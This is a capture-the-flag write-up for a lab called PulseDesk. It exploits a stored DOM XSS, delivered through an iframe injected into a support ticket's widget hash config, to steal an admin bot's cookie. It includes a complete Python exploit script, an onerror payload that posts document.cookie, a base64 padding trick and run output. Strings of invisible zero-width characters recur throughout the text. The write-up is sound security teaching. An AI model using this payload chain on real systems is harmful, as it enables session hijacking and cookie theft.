← Back to Writeups
CUSTOMMediumWeb

Lab 48 — PulseDesk — Stored XSS via Widget postMessage DOM Injection

XESXOR9/10/20267 min read
#web#custom#medium#admin_bot_exploitation#base64_encoding_without_plus_o#dom_xss_via_innerhtml_hash_con#iframe_injection_through_sanit#same_origin_cookie_exfiltratio#urlsearchparams_base64_corrupt

Lab 48 — PulseDesk — Stored XSS via Widget postMessage DOM Injection

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-13 | Status: Solved Techniques: admin_bot_exploitation, base64_encoding_without_plus_or_equals, dom_xss_via_innerhtml_hash_config, iframe_injection_through_sanitizer_allowlist, same_origin_cookie_exfiltration_via_ticket_reply, urlsearchparams_base64_corruption_bypass

Summary

Task: Support ticketing platform with embeddable chat widget using postMessage API and URL hash auto-configure, both feeding innerHTML XSS sink; HTML sanitizer allows iframe with relative src. Solution: Craft base64-encoded XSS config (avoiding + and = characters) in iframe src hash fragment, inject via ticket description, admin bot triggers DOM XSS, cookie exfiltrated via same-origin ticket reply POST.

Lab 48 — PulseDesk — Stored XSS via Widget postMessage DOM Injection — HackAdvisor

Description

PulseDesk is a customer support ticketing platform built by PulseWare Solutions. The application allows support agents to manage tickets, write internal notes, and deploy embeddable chat widgets on external websites.

PulseDesk features a live chat widget system that can be embedded on third-party sites using iframes. The widget uses the postMessage API to receive configuration updates from parent frames, allowing dynamic customization of theme colors, welcome messages, and layout.

Explore how the widget communicates with its parent page and whether the communication channel is properly secured. Pay attention to how origin validation is performed and how incoming message data is processed. An admin bot periodically reviews newly submitted tickets.

Your goal is to steal the admin's secret cookie, which contains the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Node.js/Express support ticketing platform with an embeddable chat widget at /widget/embed. The widget accepts configuration via postMessage API (with weak origin validation) and URL hash fragment (no validation at all), both feeding an innerHTML XSS sink. The HTML sanitizer allows <iframe> tags with relative src URLs. An admin bot periodically visits new tickets. The goal is to steal the admin's flag cookie.

Analysis

Application Architecture

  • Stack: Express/Node.js with Bulma CSS (PulseDesk v1.4.2)
  • Session: connect.sid cookie (HttpOnly, SameSite=Lax)
  • Security headers: X-XSS-Protection: 1; mode=block (ineffective for DOM XSS), no CSP
  • Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key endpoints:

EndpointPurpose
/ticketsTicket list
/tickets/newCreate ticket (HTML allowed in description)
/tickets/:idTicket detail page
/tickets/:id/replyAdd reply to ticket (POST, no CSRF token)
/widget/embedEmbeddable chat widget — vulnerable
/api/notesPer-user notes (requires auth)
/notesAdmin/agent only (403 for regular users)
/robots.txtReveals /api/, /widget/embed, /notes, /knowledge
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

HTML Sanitizer

The ticket description and reply fields pass through an HTML sanitizer:

  • Allowed tags: <b>, <i>, <a> (href stripped if javascript:), <img> (src kept, event handlers stripped), <iframe> (src kept for relative/HTTPS URLs), <code>
  • Stripped tags: <script>, <svg>, <details>, <video>, <audio>, <input>, <marquee>, <meta>, <object>, <embed>
  • Stripped attributes: ALL event handlers (onerror, onload, onclick, etc.)
  • Stripped iframe attributes: srcdoc, sandbox; data:, javascript:, about: URLs stripped from src ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key finding: <iframe src="/widget/embed#..."> passes the sanitizer because it's a relative URL.

Widget Vulnerability (/widget/embed)

The widget page has two input vectors, both leading to the same innerHTML XSS sink:

Vector 1: postMessage API (weak origin validation)

javascript
var TRUSTED_ORIGIN = 'pulsedesk.io';
window.addEventListener('message', function(event) {
  if (event.origin.indexOf(TRUSTED_ORIGIN) === -1 && event.origin !== 'null') {
    return;
  }
  var data = event.data;
  if (!data || !data.type) return;
  if (data.type === 'configure' || data.type === 'update-theme') {
    if (data.html) {
      document.getElementById('config-display').innerHTML = data.html; // XSS SINK
    }
  }
});

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The indexOf check is bypassable (e.g., attacker-pulsedesk.io), but not needed for this attack.

Vector 2: URL hash auto-configure (no origin check)

javascript
(function() {
  try {
    var hash = window.location.hash.substring(1);
    var params = new URLSearchParams(hash);
    var cfg = params.get('config');
    if (cfg) {
      var data = JSON.parse(atob(cfg));
      if (data.html) {
        document.getElementById('config-display').innerHTML = data.html; // XSS SINK
      }
    }
  } catch(e) {}
})();

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This vector is exploitable via iframe src: /widget/embed#config=BASE64_JSON. No origin check, no authentication required.

Critical Base64 Encoding Issue

The widget uses new URLSearchParams(hash) to parse the URL fragment. URLSearchParams has two behaviors that corrupt base64:

  1. + is decoded as space — if the base64 contains +, atob() receives a space instead, causing decode failure
  2. = is interpreted as key-value separator — base64 padding = can be misinterpreted

The try/catch block silently swallows the error, making debugging difficult. The solution is to craft a JSON payload whose base64 encoding contains neither + nor =. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Technique: Pad the JSON string with trailing spaces until the base64 output is clean:

python
for padding in range(50):
    padded = config_json + " " * padding
    b64 = base64.b64encode(padded.encode()).decode()
    if '+' not in b64 and '=' not in b64:
        break

Exfiltration Constraints

Several exfiltration methods were ruled out:

MethodWhy it failed
Interaction Server (http://interact/...)HTTP-only endpoint; browser blocks mixed content (HTTP fetch from HTTPS page)
/api/notes POSTNotes are per-user; admin's notes stored under admin's user_id, invisible to us
External webhookNo outbound network from lab environment
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Working method: Same-origin POST to /tickets/:id/reply — the reply endpoint accepts content parameter without CSRF token, and replies are visible to all users who can view the ticket.

Solution

Attack Chain

  1. Craft an XSS payload using <img src=1 onerror=...> that reads document.cookie and POSTs it as a reply to an existing ticket
  2. Wrap the payload in a JSON config object: {"html": "<img src=1 onerror=...>"}
  3. Base64-encode the JSON, ensuring no + or = in the output (pad with spaces)
  4. Embed in a ticket description as: <iframe src="/widget/embed#config=BASE64" width="400" height="300">
  5. Submit the ticket — the HTML sanitizer allows <iframe> with relative src URLs
  6. Admin bot visits the ticket page → iframe loads the widget → hash config is parsed → innerHTML sets the XSS payload → <img> fails to load → onerror fires → document.cookie is POSTed as a reply
  7. Read the target ticket to find the admin's cookie containing the flag ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit Script

python
#!/usr/bin/env python3
"""
PulseDesk Lab 48 — Stored XSS via Widget Hash Config DOM Injection
Exploits innerHTML sink in /widget/embed via iframe injection in ticket description.
Exfiltrates admin's flag cookie via same-origin ticket reply POST.
"""
import json
import base64
import time
import re
import requests

TARGET = "https://3f8d44eb-9451-4501-9392-7ab8e67f5c46.labs.hackadvisor.io"

# Step 1: Login
s = requests.Session()
s.post(f"{TARGET}/login", data={
    "email": "user@test.com",
    "password": "password123"
})
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 2: Create a ticket to receive exfiltrated data (ticket 2)
# (Or use an existing ticket — just need a known ticket ID)

# Step 3: Craft XSS payload
# The img onerror fires when src=1 fails to load
# It POSTs document.cookie as a reply to ticket 2
xss_js = (
    "fetch('/tickets/2/reply',"
    "{method:'POST',"
    "headers:{'Content-Type':'application/x-www-form-urlencoded'},"
    "body:'content=C:'+document.cookie})"
)
html_payload = f'<img src=1 onerror={xss_js}>'

# Step 4: Create config JSON and base64-encode
config = {"html": html_payload}
config_json = json.dumps(config)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Pad JSON with trailing spaces until base64 has no + or =
b64 = ""
for padding in range(50):
    padded = config_json + " " * padding
    b64 = base64.b64encode(padded.encode()).decode()
    if '+' not in b64 and '=' not in b64:
        print(f"[+] Clean base64 found with {padding} spaces padding")
        break

# Step 5: Build iframe tag (passes HTML sanitizer — relative src allowed)
iframe = (
    f'<iframe src="/widget/embed#config={b64}" '
    f'width="400" height="300" style="border:none;"></iframe>'
)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 6: Submit ticket with iframe payload
r = s.post(f"{TARGET}/tickets", data={
    "subject": "Widget not loading on external site",
    "description": f"Hi, the widget is broken on our site. Details: {iframe}",
    "priority": "high"
})
print(f"[*] Ticket submitted: {r.status_code}")

# Step 7: Wait for admin bot to visit and trigger XSS
print("[*] Waiting 60s for admin bot to visit the ticket...")
time.sleep(60)

# Step 8: Check ticket 2 for exfiltrated cookie
r = s.get(f"{TARGET}/tickets/2")
match = re.search(r'flag=FLAG\{[^}]+\}', r.text)
if match:
    flag = match.group().replace('flag=', '')
    print(f"[+] FLAG: {flag}")
else:
    print("[*] Flag not found yet, check ticket 2 manually")
    # Look for any cookie data in replies
    cookies = re.findall(r'C:(.+?)(?:<|$)', r.text)
    for c in cookies:
        print(f"  Cookie data: {c}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Execution Flow

[+] Clean base64 found with 3 spaces padding
[*] Ticket submitted: 302
[*] Waiting 60s for admin bot to visit the ticket...
[+] FLAG: FLAG{REDACTED}

The admin bot visits the new ticket, the iframe loads /widget/embed with the hash config, the base64 is decoded to JSON, the html field is set via innerHTML, the <img> tag's onerror fires, and document.cookie (containing flag=FLAG{...}) is POSTed as a reply to ticket 2. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍